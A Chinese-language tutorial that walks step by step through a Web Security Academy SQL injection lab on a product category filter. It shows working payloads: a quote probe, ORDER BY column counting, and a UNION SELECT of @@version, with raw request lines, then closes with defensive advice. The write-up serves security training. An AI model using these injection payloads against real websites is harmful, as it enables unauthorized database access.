Web Security Academy 第四关:SQL 注入查询 MySQL / SQL Server 版本

大家好,本篇是 Web Security Academy 第四关 超详细图文教程,每一步操作、页面响应、请求包都和你的截图 1:1 对应,跟着做直接通关。

另外,我之前已经发布过 SQL Server数据库基础、注入语法、版本查询 的文章,对 SQL Server不熟悉的朋友可以先去我主页看那篇补课,本文专注靶场实战。


关卡信息

  • 关卡名称:SQL injection attack, querying the database type and version on MySQL and Microsoft
  • 注入点:商品分类 category 参数
  • 数据库:MySQL
  • 目标:获取版本字符串 8.0.42-0ubuntu0.20.04.1
  • 难度:入门

1. 关卡初始页面

打开靶场进入第四关首页。页面顶部提示:Make the database retrieve the string: '8.0.42-0ubuntu0.20.04.1'

页面下方是商品列表,分类包括:All、Accessories、Clothing, shoes and accessories、Corporate gifts、Food & Drink、Gifts。

确认注入点在商品分类筛选的 category 参数。


2. 正常访问分类页面

直接点击分类 Accessories,页面正常加载,无报错。

将URL:/filter?category=Accessories'

页面并未报错但商品信息全部没了,并且展示了Accessories'

存在注入点,


3. 正常请求包

请求包内容:

响应状态:HTTP/2 200 OK,页面正常返回。


4. ORDER BY 3 测试字段数

操作:在参数后构造语句测试字段数量

plaintext

复制代码
category=' order by 3--

页面返回:Internal Server Error(500 错误)

说明原查询字段数 小于 3


5. ORDER BY 3 报错请求包

请求包:

plaintext

复制代码
GET /filter?category='%20order%20by%203-- HTTP/1.1

响应状态:HTTP/2 500 Internal Server Error确认字段数不满足 3 列。


6. ORDER BY 2 测试字段数

操作:

plaintext

复制代码
category=' order by 2--

页面正常显示商品,无报错。

结论:原查询一共 2 个字段


7. UNION SELECT 1,2 测试回显位

操作:确认字段数后,测试回显位置

plaintext

复制代码
category=-1' union select 1,2--

页面成功显示数字 1、2,说明两个字段都可回显。


8. 构造版本查询 Payload

操作:使用 MySQL 全局变量 @@version 查询版本

plaintext

复制代码
category=-1' union select @@version,2--

页面直接回显:8.0.42-0ubuntu0.20.04.1

顶部显示:Congratulations, you solved the lab! 关卡状态变为 Solved,通关成功。


9. 通关成功请求包

请求包:

plaintext

复制代码
GET /filter?category=-1%27%20union%20select%20@@version,2-- HTTP/2

响应状态:HTTP/2 200 OK页面成功返回 MySQL 完整版本。


核心知识点总结

  1. 注入判断:单引号触发 ,确认字符型注入
  2. 字段判断:ORDER BY 2 正常、3 报错 → 2 个字段
  3. MySQL 版本查询:@@version / VERSION()
  4. UNION 注入:字段数对齐、用 -1' 清空原结果
  5. 注释符:-- 注释后续语句

安全防护建议

  1. 使用参数化查询 / 预编译语句
  2. 限制数据库账号权限,禁止读取敏感系统变量
  3. 输入过滤与 WAF 防护
相关推荐
李白客1 小时前
KES新版MySQL兼容能力再升级意味着什么?
mysql·国产数据库
ClouGence4 小时前
Oracle 数据同步为什么会出现数据不一致?长事务是常被忽略的原因
数据库·后端·oracle
飞将6 小时前
从零实现数据库(2)——HashIndex + IndexManager
数据库
Nturmoils1 天前
订单列表慢查询,先看 WHERE、ORDER BY 和 LIMIT
数据库
渣波1 天前
拒绝 SQL 焦虑!手把手带你用 NestJS + Prisma + DTO 写出“防弹”级后端代码
javascript·数据库·后端
Jim6002 天前
【吃透 MySQL InnoDB连载】第 1 章・解密线上数据库高频故障
mysql
GreatSQL2 天前
gt-checksum v4.0.0 新功能解读系列文章(4):SSL 加密连接——数据校验传输安全再升级
mysql
倔强的石头_2 天前
KingbaseES 新版MySQL 兼容版体验:旧版迁移 + 功能实测
数据库
zzzzzz3103 天前
9K Star 炸裂开源!这个 C 语言写的代码知识图谱,把 Linux 内核索引压缩到了 3 分钟
linux·服务器·sql